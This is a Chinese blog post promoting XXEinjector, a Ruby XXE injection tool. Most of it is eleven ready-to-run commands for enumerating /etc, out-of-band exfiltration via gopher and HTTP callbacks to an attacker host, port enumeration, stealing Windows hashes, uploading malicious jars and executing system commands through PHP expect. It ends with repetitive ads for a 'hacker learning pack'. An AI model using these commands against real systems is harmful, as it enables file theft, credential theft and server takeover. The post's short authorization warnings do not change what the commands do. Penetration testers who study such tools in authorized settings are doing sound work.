XEinjector：一款功能强大的自动化XXE注射工具，从零级基础到精通，收藏这篇就够了！

Python_chichi

于 2025-03-31 16:00:20 发布

阅读量829

点赞数 16

文章标签：自动化运维网络安全安全系统安全

本文链接：https://blog.youkuaiyun.com/Javachichi/article/details/146847347

版权

还在手动苦逼地构造 XXE 注入 Payload？Out 了！今天给大家安利一款基于 Ruby 的 XXE 注入神器——XXEinjector，它可以自动化地使用各种骚操作，比如直接或间接的带外方法（OOB）来帮你轻松 Get 文件。不过，友情提示，目录枚举功能目前只对 Java 应用有效，而暴力破解嘛，可能还需要其他应用的配合。

XXEinjector：菜鸟也能变大佬的秘密武器

想玩转 XXEinjector，就像玩游戏一样，先得熟悉游戏规则！这货提供了非常非常丰富的选项，所以在使用之前，请务必仔细阅读官方文档（或者好好看看下面的介绍），了解每个选项的作用，才能最大程度地发挥它的威力。当然，既然是 Ruby 写的，Ruby 运行环境是必不可少的，别忘了先装好哦！

--host     必填项 – 用于建立反向链接的 IP 地址。 (例如：--host=192.168.0.2)

XXEinjector 实战演练：是骡子是马拉出来溜溜！

光说不练假把式，下面就给大家来几个 XXEinjector 的使用姿势，保证你看了直呼内行！

1. 探测 HTTPS 应用中的 /etc 目录：

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl

2. 使用 Gopher 协议（OOB 方法）枚举 /etc 目录：

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

温馨提示： Gopher 协议是一种古老的互联网协议，现在用得不多了，但在某些特殊场景下，它仍然可以发挥奇效！

3. 二次漏洞利用（Double Kill！）：

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt

进阶技巧： 所谓二次漏洞利用，就是指利用一个漏洞触发另一个漏洞，从而达到更深层次的攻击目的。

4. 使用 HTTP 带外方法和 Netdoc 协议进行暴力破解攻击：

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc

友情提醒： 暴力破解虽然简单粗暴，但效率较低，容易被防火墙拦截，请谨慎使用！

5. 通过直接性漏洞利用方式进行资源枚举：

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

小贴士： UNIQUEMARK 是一个占位符，用于标记返回结果中的敏感信息。

6. 枚举未过滤的端口：

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

安全建议： 暴露过多的端口会增加服务器的风险，建议只开放必要的端口。

7. 窃取 Windows 哈希：

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

重要提示： 窃取哈希是黑客常用的手段，请务必保护好你的密码！

8. 使用 Java Jar 上传文件：

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf

使用场景： 可以利用这个功能上传恶意 Jar 包，从而控制服务器。

9. 使用 PHP Expect 执行系统指令：

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls

高危操作： 执行系统指令的风险极高，请务必在授权的情况下进行！

10. 测试 XSLT 注入：

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt

知识点： XSLT 是一种用于转换 XML 文档的语言，如果 XSLT 处理器存在漏洞，攻击者就可以利用它来执行恶意代码。

11. 记录请求信息：

ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt

实用功能： 可以将所有的请求信息记录到文件中，方便后续分析。

XXEinjector 下载地址：

https://github.com/enjoiz/XXEinjector/archive/master.zip

总结： XXEinjector 是一款功能强大的 XXE 注入工具，可以帮助安全研究人员和渗透测试人员快速发现和利用 XXE 漏洞。但是，请务必在授权的情况下使用该工具，切勿用于非法用途！

黑客/网络安全学习包

资料目录

成长路线图&学习规划
配套视频教程
SRC&黑客文籍
护网行动资料
黑客必读书单
面试题合集

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！

4.护网行动资料

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

5.黑客必读书单

6.面试题合集

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

更多内容为防止和谐，可以扫描获取~

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*********************************